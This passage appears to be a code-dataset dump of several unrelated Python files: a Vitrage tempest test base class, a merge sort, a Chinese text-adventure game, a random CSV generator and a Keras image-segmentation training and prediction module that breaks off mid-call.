OPENSTACK_CLUSTER\nfrom vitrage.datasources.static_physical import SWITCH\nfrom vitrage.graph.driver.networkx_graph import NXGraph\nfrom vitrage.graph import Edge\nfrom vitrage.graph import Vertex\nfrom vitrage import service\nfrom vitrage_tempest_tests.tests.common.tempest_clients import TempestClients\nfrom vitrage_tempest_tests.tests import utils\n\nLOG = logging.getLogger(__name__)\n\n\nclass BaseVitrageTempest(base.BaseTestCase):\n \"\"\"Base test class for All Vitrage tests.\"\"\"\n\n NUM_VERTICES_PER_TYPE = 'num_vertices'\n NUM_EDGES_PER_TYPE = 'num_edges_per_type'\n\n # noinspection PyPep8Naming\n @classmethod\n def setUpClass(cls):\n super(BaseVitrageTempest, cls).setUpClass()\n cls.conf = service.prepare_service([])\n TempestClients.class_init(cls.conf)\n cls.vitrage_client = TempestClients.vitrage()\n\n cls.num_default_networks = \\\n len(TempestClients.neutron().list_networks()['networks'])\n cls.num_default_ports = 0\n cls.num_default_entities = 3\n cls.num_default_edges = 2\n\n def _create_graph_from_graph_dictionary(self, api_graph):\n self.assertIsNotNone(api_graph)\n graph = NXGraph()\n\n nodes = api_graph['nodes']\n for i in range(len(nodes)):\n graph.add_vertex(Vertex(str(i), nodes[i]))\n\n edges = api_graph['links']\n for i in range(len(edges)):\n graph.add_edge(Edge(str(edges[i]['source']),\n str(edges[i]['target']),\n edges[i][EdgeProperties.RELATIONSHIP_TYPE]))\n\n return graph\n\n def _create_graph_from_tree_dictionary(self,\n api_graph,\n graph=None,\n ancestor=None):\n children = []\n graph = NXGraph() if not graph else graph\n\n if 'children' in api_graph:\n children = api_graph.copy()['children']\n del api_graph['children']\n\n vertex = Vertex(api_graph[VProps.VITRAGE_ID], api_graph)\n graph.add_vertex(vertex)\n if ancestor:\n graph.add_edge(Edge(ancestor[VProps.VITRAGE_ID],\n vertex[VProps.VITRAGE_ID],\n 'label'))\n\n for entity in children:\n self._create_graph_from_tree_dictionary(entity, graph, vertex)\n\n return graph\n\n def _entities_validation_data(self, **kwargs):\n validation_data = []\n\n # openstack.cluster\n props = {VProps.VITRAGE_CATEGORY: EntityCategory.RESOURCE,\n VProps.VITRAGE_TYPE: OPENSTACK_CLUSTER,\n self.NUM_VERTICES_PER_TYPE: kwargs.get('cluster_entities', 1),\n self.NUM_EDGES_PER_TYPE: kwargs.get('cluster_edges', 1)}\n validation_data.append(props)\n\n # nova.zone\n props = {VProps.VITRAGE_CATEGORY: EntityCategory.RESOURCE,\n VProps.VITRAGE_TYPE: NOVA_ZONE_DATASOURCE,\n self.NUM_VERTICES_PER_TYPE: kwargs.get('zone_entities', 1),\n self.NUM_EDGES_PER_TYPE: kwargs.get('zone_edges', 2)}\n validation_data.append(props)\n\n # nova.host\n props = {VProps.VITRAGE_CATEGORY: EntityCategory.RESOURCE,\n VProps.VITRAGE_TYPE: NOVA_HOST_DATASOURCE,\n self.NUM_VERTICES_PER_TYPE: kwargs.get('host_entities', 1),\n self.NUM_EDGES_PER_TYPE: kwargs.get('host_edges', 1)}\n validation_data.append(props)\n\n # nova.instance\n props = {VProps.VITRAGE_CATEGORY: EntityCategory.RESOURCE,\n VProps.VITRAGE_TYPE: NOVA_INSTANCE_DATASOURCE,\n self.NUM_VERTICES_PER_TYPE: kwargs.get(\n 'instance_entities', 0),\n self.NUM_EDGES_PER_TYPE: kwargs.get(\n 'instance_edges', 0)}\n validation_data.append(props)\n\n # cinder.volume\n props = {VProps.VITRAGE_CATEGORY: EntityCategory.RESOURCE,\n VProps.VITRAGE_TYPE: CINDER_VOLUME_DATASOURCE,\n self.NUM_VERTICES_PER_TYPE: kwargs.get(\n 'volume_entities', 0),\n self.NUM_EDGES_PER_TYPE: kwargs.get(\n 'volume_edges', 0)}\n validation_data.append(props)\n\n # switch\n props = {VProps.VITRAGE_CATEGORY: EntityCategory.RESOURCE,\n VProps.VITRAGE_TYPE: SWITCH,\n self.NUM_VERTICES_PER_TYPE: kwargs.get(\n 'switch_entities', 0),\n self.NUM_EDGES_PER_TYPE: kwargs.get(\n 'switch_edges', 0)}\n validation_data.append(props)\n\n # aodh\n props = {VProps.VITRAGE_CATEGORY: EntityCategory.ALARM,\n VProps.VITRAGE_TYPE: AODH_DATASOURCE,\n self.NUM_VERTICES_PER_TYPE: kwargs.get(\n 'aodh_entities', 0),\n self.NUM_EDGES_PER_TYPE: kwargs.get(\n 'aodh_edges', 0)}\n validation_data.append(props)\n\n # neutron.network\n if kwargs.get('network_entities') is not None:\n props = {VProps.VITRAGE_CATEGORY: EntityCategory.RESOURCE,\n VProps.VITRAGE_TYPE: NEUTRON_NETWORK_DATASOURCE,\n self.NUM_VERTICES_PER_TYPE: kwargs.get(\n 'network_entities', 0),\n self.NUM_EDGES_PER_TYPE: kwargs.get(\n 'network_edges', 0)}\n validation_data.append(props)\n\n # neutron.port\n if kwargs.get('port_entities') is not None:\n props = {VProps.VITRAGE_CATEGORY: EntityCategory.RESOURCE,\n VProps.VITRAGE_TYPE: NEUTRON_PORT_DATASOURCE,\n self.NUM_VERTICES_PER_TYPE: kwargs.get(\n 'port_entities', 0),\n self.NUM_EDGES_PER_TYPE: kwargs.get(\n 'port_edges', 0)}\n validation_data.append(props)\n\n # heat.stack\n props = {VProps.VITRAGE_CATEGORY: EntityCategory.RESOURCE,\n VProps.VITRAGE_TYPE: HEAT_STACK_DATASOURCE,\n self.NUM_VERTICES_PER_TYPE: kwargs.get(\n 'stack_entities', 0),\n self.NUM_EDGES_PER_TYPE: kwargs.get(\n 'stack_edges', 0)}\n validation_data.append(props)\n\n return validation_data\n\n def _validate_graph_correctness(self,\n graph,\n num_entities,\n num_edges,\n entities):\n self.assertIsNotNone(graph)\n self.assertIsNotNone(entities)\n\n for entity in entities:\n query = {\n VProps.VITRAGE_CATEGORY: entity[VProps.VITRAGE_CATEGORY],\n VProps.VITRAGE_TYPE: entity[VProps.VITRAGE_TYPE],\n VProps.VITRAGE_IS_DELETED: False,\n VProps.VITRAGE_IS_PLACEHOLDER: False\n }\n vertices = graph.get_vertices(vertex_attr_filter=query)\n self.assertEqual(entity[self.NUM_VERTICES_PER_TYPE],\n len(vertices),\n '%s%s' % ('Num vertices is incorrect for: ',\n entity[VProps.VITRAGE_TYPE]))\n\n entity_num_edges = sum([len(graph.get_edges(vertex.vertex_id))\n for vertex in vertices])\n self.assertEqual(entity[self.NUM_EDGES_PER_TYPE],\n entity_num_edges,\n '%s%s' % ('Num edges is incorrect for: ',\n entity[VProps.VITRAGE_TYPE]))\n\n self.assertEqual(num_entities, graph.num_vertices())\n self.assertEqual(num_edges, graph.num_edges())\n\n @staticmethod\n def _get_value(item, key):\n return utils.uni2str(item[key])\n\n def _print_entity_graph(self):\n api_graph = TempestClients.vitrage().topology.get(all_tenants=True)\n graph = self._create_graph_from_graph_dictionary(api_graph)\n LOG.info('Entity Graph: \\n%s', graph.json_output_graph())\n\n def _handle_exception(self, exception):\n traceback.print_exc()\n LOG.exception(exception)\n self._print_entity_graph()\n","sub_path":"vitrage_tempest_tests/tests/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":9680,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"110293838","text":"a = [7, 6, 5, 8, 3, 5, 9, 1]\nsorted = [0] * len(a)\n\n\ndef merge(a, m, middle, n): # m: 시작점, middle: 중간점, n: 끝점\n i = m\n j = middle + 1\n k = m\n # 작은 순서대로 삽입\n while i <= middle and j <= n:\n if a[i] <= a[j]:\n sorted[k] = a[i]\n i += 1\n else:\n sorted[k] = a[j]\n j += 1\n k += 1\n \n # 남은 데이터 삽입\n if i > middle:\n for t in range(j, n + 1):\n sorted[k] = a[t]\n k += 1\n else:\n for t in range(i, middle + 1): \n sorted[k] = a[t]\n k += 1\n\n # 정렬된 배열 삽입\n for t in range(m, n + 1):\n a[t] = sorted[t]\n \ndef mergeSort(a, m, n):\n if m < n:\n middle = (m + n) // 2\n \n mergeSort(a, m, middle)\n mergeSort(a, middle + 1, n)\n \n merge(a, m, middle, n)\n \n\nmergeSort(a, 0, len(a) - 1)\n\nprint(a)","sub_path":"concepts/sort/merge_sort.py","file_name":"merge_sort.py","file_ext":"py","file_size_in_byte":954,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"127518702","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n'''\n模拟人生:\n\n1 定义三个人物,屌丝John,美女Liz,高富帅Peter。 John和Liz大学时是恋人,毕业工作后,Liz傍上了Peter,\nJohn伤心之余决定通过自己的努力追回Liz,多年后John通过努力变身高富帅,遇到被甩的Liz,Liz向John提出复合,John说……..(自由发挥)\n\n2. 定义人物信息:性别、年龄、工作、人种、国籍、特长,存款。房、车等信息,\n\n3. 用类实现上述故事中三者的关系和人物变化\n'''\nimport time\nfrom Person import Person\n\n\nprint('欢迎进入模拟人生!')\ntime.sleep(1)\nwhile True:\n\n print('1、开始游戏 2、退出')\n select = input('请选择:')\n if select == '1': #开始游戏\n print('你所扮演的就是是John!')\n time.sleep(2)\n print('\\033[31;0m故事背景:\\033[1m')\n story_background = 'John和Liz大学时是恋人,毕业工作后,Liz傍上了Peter,要跟John分手'\n print(story_background)\n time.sleep(2)\n John = Person('John',20,'M','网管','中国','修电脑',1000,None,'自行车',True)\n Liz = Person('Liz',20,'F','秘书','中国','能歌善舞',2000,None,'自行车',True)\n Peter = Person('Peter',20,'M','经理','美国','能说会道',20000000,'别墅','劳斯莱斯',False)\n while True:\n select1 = input('你是否要和Liz分手?(y/n)')\n if select1 == 'y': #分手\n John.out_love() #失恋,恋爱状态为False\n Liz.out_love()\n\n Liz.in_love()\n Peter.in_love()\n print('你和Liz分手了,你很难过?现在,你有两个选择:')\n print('1、自暴自弃 2、努力奋斗')\n select2 = input('请选择:')\n if select2 == '1': #自暴自弃\n John.out_job() #丢掉工作,工作为None\n print('从此,John开始自暴自弃,最终变得一无所有!')\n exit() #游戏结束\n elif select2 == '2': #努力奋斗\n print('John开始努力奋斗')\n John.find_job()\n John.get_job('网络工程师')\n John.money = 100000\n time.sleep(3)\n print('几年后')\n time.sleep(2)\n John.get_job('架构师')\n John.money = 100000000\n print('John已经变成了一个高富帅!这时他又遇到了Liz,他和Liz进行聊天,他了解到:')\n while True:\n print('1、Liz被Peter甩了 2、Liz和Peter还是恋人')\n select4 = input('请选择:')\n if select4 == '1':\n while True:\n Liz.out_love() #Liz恋爱状态为False\n print('Liz也了解到John现在已经是高富帅了,提出要和John复合')\n print('1、同意 2、不同意')\n select5 = input('请选择:')\n if select5 == '1':\n John.in_love()\n Liz.in_love()\n print('John和Liz最后幸福的生活在了一起')\n exit()\n elif select5 == '2':\n print('John最后拒绝了Liz,独自离开了!')\n exit()\n else:\n print('输入错误')\n continue\n\n elif select4 == '2':\n print('John祝福他们,并且又和Liz成为了好朋友!')\n exit()\n else:\n print('输入错误')\n continue\n else:\n print('输入错误')\n continue\n elif select1 == 'n': #挽回\n while True:\n print('John尽力挽回这段爱情,他做了很多事,最终:')\n print('1、John挽回了爱情 2、Liz还是要和John分手')\n select3 = input('请选择:')\n if select3 == '1':\n print('John和Liz最终幸福的生活在了一起!')\n exit()\n elif select3 == '2':\n break\n else:\n print('输入错误')\n continue\n else:\n print('输入错误')\n continue\n elif select == '2': #退出\n exit()\n else: #输入错误\n print('输入错误!')\n continue\n","sub_path":"day08/模拟人生/模拟人生.py","file_name":"模拟人生.py","file_ext":"py","file_size_in_byte":5057,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"142517329","text":"from random import randint, uniform\nimport uuid\nfrom datetime import datetime\nimport csv\n\ndef make_date():\n \"\"\"Makes random dates between 2010 and 2019\"\"\"\n start_date = datetime(2010, 1, 1)\n end_date = datetime(2020, 1, 1)\n random_date = start_date + (end_date-start_date)*uniform(0, 1)\n return random_date.strftime(\"%m/%d/%Y\")\n\ndef yes_ao():\n if randint(0,1)>0:\n return \"ao\"\n else:\n return \"\"\n\ndef make_file():\n file = 'exercise.csv'\n\n with open(file, 'w', newline=\"\\n\") as my_file:\n person_writer = csv.writer(my_file)\n\n for i in range(1,1000000):\n person_writer.writerow([str(uuid.uuid4()), randint(0,20), randint(0,20), randint(0,20),\n randint(0,20), make_date(), yes_ao()])\n\n\nif __name__ == '__main__':\n make_file()","sub_path":"students/randi_peterson/lesson06/make_data.py","file_name":"make_data.py","file_ext":"py","file_size_in_byte":824,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"236198983","text":"# -*- coding: utf-8 -*-\n\"\"\"\nModule with high-level operations to segment images\n\n@author: Pieter Roggemans\n\"\"\"\n\nimport logging\nimport os\nimport glob\nimport shutil\nimport datetime\nimport concurrent.futures as futures\n\nimport numpy as np\nimport pandas as pd\nimport keras as kr\nimport rasterio as rio\nimport rasterio.features as rio_features\nimport rasterio.plot as rio_plot\nimport shapely\nimport shapely.geometry\n\nimport model_factory as m\n\nimport data\nimport postprocess as postp\n\n#-------------------------------------------------------------\n# First define/init some general variables/constants\n#-------------------------------------------------------------\nFORMAT_GEOTIFF = 'image/geotiff'\n\n# Get a logger...\nlogger = logging.getLogger(__name__)\n#logger.setLevel(logging.DEBUG)\n\n#-------------------------------------------------------------\n# The real work\n#-------------------------------------------------------------\n\ndef train(traindata_dir: str,\n validationdata_dir: str,\n image_subdir: str,\n mask_subdir: str,\n segmentation_model: str,\n backbone_name: str,\n model_dir: str,\n model_basename: str,\n model_preload_filepath: str = None,\n batch_size: int = 32,\n nb_epoch: int = 50,\n train_augmented_dir: str = None):\n\n image_width = 512\n image_height = 512\n\n # These are the augmentations that will be applied to the input training images/masks\n # Remark: fill_mode + cval are defined as they are so missing pixels after eg. rotation\n # are filled with 0, and so the mask will take care that they are +- ignored.\n data_gen_train_args = dict(rotation_range=90.0,\n fill_mode='constant',\n cval=0,\n rescale=1./255,\n width_shift_range=0.05,\n height_shift_range=0.05,\n shear_range=0.0,\n zoom_range=0.05,\n horizontal_flip=True,\n vertical_flip=True)\n\n train_gen = data.create_train_generator(input_data_dir=traindata_dir,\n image_subdir=image_subdir, mask_subdir=mask_subdir,\n aug_dict=data_gen_train_args, batch_size=batch_size,\n target_size=(image_width, image_height),\n class_mode=None,\n save_to_dir=train_augmented_dir)\n\n if validationdata_dir:\n data_gen_validation_args = dict(rescale=1./255)\n validation_gen = data.create_train_generator(input_data_dir=validationdata_dir,\n image_subdir=image_subdir, mask_subdir=mask_subdir,\n aug_dict=data_gen_validation_args, batch_size=batch_size,\n target_size=(image_width, image_height),\n class_mode=None,\n save_to_dir=None)\n else:\n validation_gen = None\n\n # Define some callbacks for the training\n model_detailed_filepath = f\"{model_dir}{os.sep}{model_basename}\" + \"_{epoch:03d}_{jaccard_coef_int:.5f}_{val_jaccard_coef_int:.5f}.hdf5\"\n #model_detailed_filepath = f\"{model_dir}{os.sep}{model_basename}\" + \"_best_val_loss.hdf5\"\n model_checkpoint = kr.callbacks.ModelCheckpoint(model_detailed_filepath, \n monitor='jaccard_coef_int',\n save_best_only=True,\n save_weights_only=True)\n model_detailed2_filepath = f\"{model_dir}{os.sep}{model_basename}\" + \"_{epoch:03d}_{jaccard_coef_int:.5f}_{val_jaccard_coef_int:.5f}_bestval.hdf5\"\n #model_detailed2_filepath = f\"{model_dir}{os.sep}{model_basename}\" + \"_best_loss.hdf5\"\n model_checkpoint2 = kr.callbacks.ModelCheckpoint(model_detailed2_filepath, \n monitor='val_jaccard_coef_int',\n save_best_only=True,\n save_weights_only=True)\n reduce_lr = kr.callbacks.ReduceLROnPlateau(monitor='val_loss', factor=0.2,\n patience=10, min_lr=1e-20)\n early_stopping = kr.callbacks.EarlyStopping(monitor='jaccard_coef_int', \n patience=100, \n restore_best_weights=False)\n tensorboard_log_dir = f\"{model_dir}{os.sep}{model_basename}\" + \"_tensorboard_log\"\n tensorboard_logger = kr.callbacks.TensorBoard(log_dir=tensorboard_log_dir)\n csv_log_filepath = f\"{model_dir}{os.sep}{model_basename}\" + '_log.csv'\n csv_logger = kr.callbacks.CSVLogger(csv_log_filepath, append=True, separator=';')\n\n # Get the max epoch number from the log file if it exists...\n start_epoch = 0\n start_learning_rate = 1e-4 # Best set to 0.0001 to start (1e-3 is not ok)\n if os.path.exists(csv_log_filepath):\n logger.info(f\"train_log csv exists: {csv_log_filepath}\")\n if not model_preload_filepath:\n message = f\"STOP: log file exists but preload model file not specified!!!\"\n logger.critical(message)\n raise Exception(message)\n \n train_log_csv = pd.read_csv(csv_log_filepath, sep=';')\n logger.debug(f\"train_log csv contents:\\n{train_log_csv}\")\n start_epoch = train_log_csv['epoch'].max()\n start_learning_rate = train_log_csv['lr'].min()\n logger.info(f\"start_epoch: {start_epoch}, start_learning_rate: {start_learning_rate}\")\n\n # Create a model\n model = None\n #loss_function = 'bcedice'\n #loss_function = 'binary_crossentropy'\n if not model_preload_filepath:\n # Get the model we want to use\n model = m.get_model(segmentation_model=segmentation_model, \n backbone_name=backbone_name,\n n_channels=3, n_classes=1)\n # Prepare the model for training\n # Default learning rate for Adam: lr=1e-3, but doesn't seem to work well for unet\n #model.compile('Adam', 'binary_crossentropy', ['binary_accuracy'])\n model = m.compile_model(model=model,\n optimizer=kr.optimizers.Adam(lr=start_learning_rate), \n loss_mode='binary_crossentropy')\n else:\n if not os.path.exists(model_preload_filepath):\n message = f\"Error: preload model file doesn't exist: {model_preload_filepath}\"\n logger.critical(message)\n raise Exception(message)\n\n '''\n model = m.load_unet_model(filepath=model_preload_filepath,\n learning_rate=start_learning_rate)\n\n '''\n model = m.get_model(segmentation_model=segmentation_model, \n backbone_name=backbone_name,\n n_channels=3, n_classes=1)\n # Prepare the model for training\n model = m.compile_model(model=model,\n optimizer=kr.optimizers.Adam(lr=start_learning_rate), \n loss_mode='binary_crossentropy', \n metrics=['binary_accuracy'])\n \n# model = kr.models.load_model(model_preload_filepath)\n# model = m.load_unet_model(model_preload_filepath)\n# model = m.get_unet(input_width=image_width, input_height=image_height,\n# n_channels=3, n_classes=1)\n# init_with_vgg16=True, loss_mode='binary_crossentropy)\n\n# logger.info(f\"Load weights from {model_preload_filepath}\")\n# model.load_weights(model_preload_filepath)\n\n # Save the model architecture to json\n json_string = model.to_json()\n with open(f\"{model_dir}{os.sep}{model_basename}.json\", 'w') as dst:\n dst.write(f\"{json_string}\")\n \n # Start training\n train_dataset_size = len(glob.glob(f\"{traindata_dir}{os.sep}{image_subdir}{os.sep}*.*\"))\n train_steps_per_epoch = int(train_dataset_size/batch_size)\n validation_dataset_size = len(glob.glob(f\"{validationdata_dir}{os.sep}{image_subdir}{os.sep}*.*\"))\n validation_steps_per_epoch = int(validation_dataset_size/batch_size)\n model.fit_generator(train_gen, steps_per_epoch=train_steps_per_epoch, epochs=nb_epoch,\n validation_data=validation_gen,\n validation_steps=validation_steps_per_epoch, # Number of items in validation/batch_size\n callbacks=[model_checkpoint, model_checkpoint2,\n reduce_lr, early_stopping,\n tensorboard_logger, csv_logger],\n initial_epoch=start_epoch)\n\ndef predict(model_json_filepath: str,\n model_weights_filepath: str,\n input_image_dir: str,\n output_predict_dir: str,\n border_pixels_to_ignore: int = 0,\n input_mask_dir: str = None,\n batch_size: int = 16,\n evaluate_mode: bool = False,\n force: bool = False):\n\n # TODO: the real predict code is now mixed with\n\n # Check if the input parameters are correct...\n # TODO: check on model json as well\n if not model_weights_filepath or not os.path.exists(model_weights_filepath):\n message = f\"Error: input model in is mandatory, model_weights_filepath: <{model_weights_filepath}>!\"\n logger.critical(message)\n raise Exception(message)\n\n logger.info(f\"Predict for input_image_dir: {input_image_dir}\")\n\n # Create the output dir's if they don't exist yet...\n for dir in [output_predict_dir]:\n if not os.path.exists(dir):\n os.mkdir(dir)\n\n # Get list of all image files to process...\n image_filepaths = []\n input_ext = ['.tif', '.jpg']\n for input_ext_cur in input_ext:\n image_filepaths.extend(glob.glob(f\"{input_image_dir}{os.sep}**{os.sep}*{input_ext_cur}\", recursive=True))\n logger.info(f\"Found {len(image_filepaths)} {input_ext} images to predict on in {input_image_dir}\")\n \n # Load model...\n logger.info(f\"Load model from {model_json_filepath}\")\n with open(model_json_filepath, 'r') as src:\n model_json = src.read()\n model = kr.models.model_from_json(model_json)\n logger.info(f\"Load weights from {model_weights_filepath}\") \n model.load_weights(model_weights_filepath)\n logger.info(\"Weights loaded\")\n \n #model = m.load_model(model_to_use_filepath)\n\n # Loop through all files to process them...\n curr_batch_image_data_arr = []\n curr_batch_image_filepath_arr = []\n curr_batch_counter = 0\n curr_predicted_counter = 0\n pool = futures.ThreadPoolExecutor(batch_size)\n \n for i, image_filepath in enumerate(sorted(image_filepaths)):\n\n # Prepare the filepath for the output\n tmp_filepath = image_filepath.replace(input_image_dir,\n output_predict_dir)\n image_pred_dir, image_pred_filename = os.path.split(tmp_filepath)\n \n # If not in evaluate mode, create the complete dir \n if not evaluate_mode and not os.path.exists(image_pred_dir):\n os.mkdir(image_pred_dir)\n\n # If force is false and file exists... skip\n image_pred_filename_noext, image_pred_ext = os.path.splitext(image_pred_filename)\n image_pred_files = glob.glob(f\"{image_pred_dir}{os.sep}*{image_pred_filename_noext}_pred{image_pred_ext}\")\n if force is False and len(image_pred_files) > 0:\n logger.debug(f\"Predict for image already exists and force is False, so skip: {image_filepath}\")\n continue\n else:\n logger.debug(f\"Start predict for image {image_filepath}\")\n\n # Init start time at the first file that isn't skipped\n if curr_predicted_counter == 0:\n start_time = datetime.datetime.now()\n\n # Read input file and get all needed info from it...\n with rio.open(image_filepath) as image_ds:\n image_profile = image_ds.profile\n logger.debug(f\"image_profile: {image_profile}\")\n\n # Read pixels\n image_data = image_ds.read()\n # Change from (channels, width, height) tot (width, height, channels)\n image_data = rio_plot.reshape_as_image(image_data)\n\n # Make sure the pixels values are between 0 and 1\n image_data = image_data / 255\n \n # Check if the image size is OK for the segmentation model\n '''\n m.check_image_size(segmentation_model=segmentation_model,\n input_width=image_data.shape[0], \n input_height=image_data.shape[1])\n '''\n\n # Input of predict must be numpy array with shape: \n # (images, width, height, channels)!\n curr_batch_image_data_arr.append(image_data)\n curr_batch_image_filepath_arr.append(image_filepath)\n curr_batch_counter += 1\n curr_predicted_counter += 1\n \n # If the batch size is reached or we are at the last images\n if(curr_batch_counter == batch_size\n or i == (len(image_filepaths)-1)):\n \n # Predict!\n logger.info(f\"Start prediction for {batch_size} images\")\n curr_batch_image_pred = model.predict(np.asarray(curr_batch_image_data_arr), batch_size=batch_size)\n \n # Postprocess all images in the batch in parallel\n logger.info(\"Start post-processing\")\n threads = []\n future_list = []\n \n # TODO: doing it multi-threaded is not faster at the moment, \n # maybe if postprocessing is more complicated later reactivate?\n for j in range(len(curr_batch_image_filepath_arr)):\n \n '''\n postprocess_prediction(image_pred_orig=cur_batch_image_pred[j],\n image_filepath=curr_batch_image_filepath_arr[j],\n input_image_dir=input_image_dir,\n output_predict_dir=output_predict_dir,\n input_mask_dir=input_mask_dir,\n border_pixels_to_ignore=border_pixels_to_ignore,\n evaluate_mode=evaluate_mode,\n force=force)\n '''\n keyword_params = {'image_pred_orig': curr_batch_image_pred[j],\n 'image_filepath': curr_batch_image_filepath_arr[j],\n 'input_image_dir': input_image_dir,\n 'output_predict_dir': output_predict_dir,\n 'input_mask_dir': input_mask_dir,\n 'border_pixels_to_ignore': border_pixels_to_ignore,\n 'evaluate_mode': evaluate_mode,\n 'force': force}\n \n future_list.append(pool.submit(postprocess_prediction, \n **keyword_params))\n \n # Wait for all postprocessing to be finished\n futures.wait(future_list)\n logger.info(\"Post-processing ready\")\n \n # Reset variables for next batch\n curr_batch_image_data_arr = []\n curr_batch_image_filepath_arr = []\n curr_batch_counter = 0\n \n # Log the progress and prediction speed\n time_passed = (datetime.datetime.now()-start_time).seconds\n if time_passed > 0:\n images_per_hour = ((curr_predicted_counter)/time_passed) * 3600\n logger.info(f\"Prediction speed: {images_per_hour:0.0f} images/hour\")\n \ndef postprocess_prediction(image_pred_orig,\n image_filepath: str,\n input_image_dir: str,\n output_predict_dir: str,\n input_mask_dir: str = None,\n border_pixels_to_ignore: int = 0,\n evaluate_mode: bool = False,\n force: bool = False):\n \n logger.info(\"start postprocess\")\n # Prepare the filepath for the output\n # TODO: this code is +- copied from predict, check if this can be evaded.\n # if in evaluate mode, don't keep the hierarchy from the input dir\n if evaluate_mode:\n image_dir, image_filename = os.path.split(image_filepath)\n tmp_filepath = os.path.join(output_predict_dir, image_filename)\n else:\n tmp_filepath = image_filepath.replace(input_image_dir,\n output_predict_dir)\n image_pred_dir, image_pred_filename = os.path.split(tmp_filepath)\n if not os.path.exists(image_pred_dir):\n os.mkdir(image_pred_dir)\n image_pred_filename_noext, image_pred_ext = os.path.splitext(image_pred_filename)\n \n # Check the number of channels of the output prediction\n n_channels = image_pred_orig.shape[2]\n if n_channels > 1:\n raise Exception(f\"Not implemented: processing prediction output with multiple channels: {n_channels}\")\n \n # Make the array 2 dimensial for the next algorithm. Is no problem if there\n # is only one channel\n image_pred_orig = image_pred_orig.reshape((image_pred_orig.shape[0], image_pred_orig.shape[1]))\n \n # Make the pixels at the borders of the prediction black so they are ignored\n if border_pixels_to_ignore and border_pixels_to_ignore > 0:\n image_pred_orig[0:border_pixels_to_ignore,:] = 0 # Left border\n image_pred_orig[-border_pixels_to_ignore:,:] = 0 # Right border\n image_pred_orig[:,0:border_pixels_to_ignore] = 0 # Top border\n image_pred_orig[:,-border_pixels_to_ignore:] = 0 # Bottom border\n\n # Check if the result is entirely black... if so no cleanup needed\n all_black = False\n thresshold_ok = 0.5\n if not np.any(image_pred_orig > 0.5):\n logger.debug('Prediction is entirely black!')\n image_pred = postp.thresshold(image_pred_orig, thresshold_ok=thresshold_ok)\n all_black = True\n else:\n # Cleanup the image so it becomes a clean 2 color one instead of grayscale\n logger.debug(\"Clean prediction\")\n image_pred = postp.region_segmentation(image_pred_orig, \n thresshold_ok=thresshold_ok)\n\n # Convert the output image to uint [0-255] instead of float [0,1]\n image_pred_uint8 = (image_pred * 255).astype(np.uint8)\n \n # If in evaluate mode, put a prefix in the file name\n pred_prefix_str = ''\n if evaluate_mode:\n \n def jaccard_similarity(im1, im2):\n if im1.shape != im2.shape:\n message = f\"Shape mismatch: input have different shape: im1: {im1.shape}, im2: {im2.shape}\"\n logger.critical(message)\n raise ValueError(message)\n\n intersection = np.logical_and(im1, im2)\n union = np.logical_or(im1, im2)\n\n sum_union = float(union.sum())\n if sum_union == 0.0:\n # If 0 positive pixels in union: perfect prediction, so 1\n return 1\n else:\n sum_intersect = intersection.sum()\n return sum_intersect/sum_union\n\n # If there is a mask dir specified... use the groundtruth mask\n if input_mask_dir and os.path.exists(input_mask_dir):\n # Read mask file and get all needed info from it...\n mask_filepath = image_filepath.replace(input_image_dir,\n input_mask_dir)\n\n with rio.open(mask_filepath) as mask_ds:\n # Read pixels\n mask_arr = mask_ds.read(1)\n\n # Make the pixels at the borders of the mask black so they are \n # ignored in the comparison\n if border_pixels_to_ignore and border_pixels_to_ignore > 0:\n mask_arr[0:border_pixels_to_ignore,:] = 0 # Left border\n mask_arr[-border_pixels_to_ignore:,:] = 0 # Right border\n mask_arr[:,0:border_pixels_to_ignore] = 0 # Top border\n mask_arr[:,-border_pixels_to_ignore:] = 0 # Bottom border\n \n #similarity = jaccard_similarity(mask_arr, image_pred)\n # Use accuracy as similarity... is more practical than jaccard\n similarity = np.equal(mask_arr, image_pred_uint8).sum()/image_pred_uint8.size\n pred_prefix_str = f\"{similarity:0.3f}_\"\n \n # Copy mask file if the file doesn't exist yet\n mask_copy_dest_filepath = f\"{image_pred_dir}{os.sep}{pred_prefix_str}{image_pred_filename_noext}_mask.tif\"\n if not os.path.exists(mask_copy_dest_filepath):\n shutil.copyfile(mask_filepath, mask_copy_dest_filepath)\n\n else:\n # If all_black, no need to calculate again\n if all_black: \n pct_black = 1\n else:\n # Calculate percentage black pixels\n pct_black = 1 - (image_pred_uint8.sum()/255)/image_pred_uint8.size\n \n # If the result after segmentation is all black, set all_black\n if pct_black == 1:\n # Force the prefix to be really high so it is clear they are entirely black\n pred_prefix_str = \"1.001_\"\n all_black = True\n else:\n pred_prefix_str = f\"{pct_black:0.3f}_\"\n\n # If there are few white pixels, don't save it,\n # because we are in evaluetion mode anyway...\n #if similarity >= 0.95:\n #continue\n \n # Copy the input image if it doesn't exist yet in output path\n image_copy_dest_filepath = f\"{image_pred_dir}{os.sep}{pred_prefix_str}{image_pred_filename_noext}{image_pred_ext}\"\n if not os.path.exists(image_copy_dest_filepath):\n shutil.copyfile(image_filepath, image_copy_dest_filepath)\n \n # First read the properties of the input image to copy them for the output\n # TODO: should always be done using input image, but in my test data\n # doesn't contain geo yet\n if input_mask_dir:\n tmp_filepath = image_filepath.replace(input_image_dir,\n input_mask_dir)\n else:\n tmp_filepath = image_filepath\n with rio.open(tmp_filepath) as image_ds:\n image_profile = image_ds.profile\n image_transform = image_ds.transform\n\n # Now write original prediction to file\n logger.debug(\"Save original prediction\")\n #logger.info(f\"image_profile: {image_profile}\")\n \n # Convert the output image to uint [0-255] instead of float [0,1]\n image_pred_orig = (image_pred_orig * 255).astype(np.uint8)\n # Use meta attributes of the source image, except...\n # Rem: dtype float32 used to change as little as possible to original\n image_profile.update(dtype=rio.uint8, count=1, compress='lzw')\n image_pred_orig_filepath = f\"{image_pred_dir}{os.sep}{pred_prefix_str}{image_pred_filename_noext}_pred.tif\"\n# with rio.open(image_pred_orig_filepath, 'w', **image_profile) as dst:\n with rio.open(image_pred_orig_filepath, 'w', driver='GTiff', compress='lzw',\n height=image_profile['height'], width=image_profile['width'], \n count=1, dtype=rio.uint8, crs=image_profile['crs'], 